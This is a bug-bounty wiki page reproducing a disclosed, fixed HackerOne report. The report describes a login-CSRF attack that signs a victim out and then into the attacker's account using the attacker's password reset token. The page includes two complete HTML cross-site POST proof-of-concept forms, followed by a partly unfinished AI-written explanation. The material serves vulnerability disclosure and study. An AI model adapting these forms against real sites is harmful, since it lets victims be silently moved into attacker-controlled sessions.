Switching the user to the attacker's account
The report shows two cross-site POST requests: one signs the user out, one resets the password using a reset token, which could switch the user to the attacker's account.
Originally disclosed on HackerOne
- Triaged in 13 hours
- Fixed in 5 days
- Paid in 5 days
- Disclosed after 35 days
Two requests are needed to make it happen.
Request1 (log out the user):
<html> <body> <form action="https://hackerone.com/users/sign_out" method="POST"> <input type="hidden" name="_method" value="delete" /> <input type="submit" value="Submit request" /> </form> </body> </html>Request2 (log in the user to the attacker's account):
<html> <body> <form action="https://hackerone.com/users/password" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="_method" value="put" /> <input type="hidden" name="user[reset_password_token]" value="ENTER_HERE_RESET_PASSWORD_TOKEN_FROM_MAIL" /> <input type="hidden" name="user[password]" value="ENTER_HERE_NEW_PASSWORD" /> <input type="hidden" name="user[password_confirmation]" value="ENTER_HERE_NEW_PASSWORD" /> <input type="hidden" name="commit" value="Change password" /> <input type="submit" value="Submit request" /> </form> </body> </html>Please let me know if more detailed description is needed.
Regards, Dawid Czagan
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Attacker has a reset token
How it was found
- The attacker creates a page with a form that sends a POST request to the sign-out endpoint.
- The attacker creates a second form that sends a POST request to the password reset endpoint with a reset token and new password.
- The two requests are made in sequence.
- The victim is logged out and then logged into the attacker's account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes two requests: one logs the user out, the second uses a reset token and new password to log them into the attacker's account.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.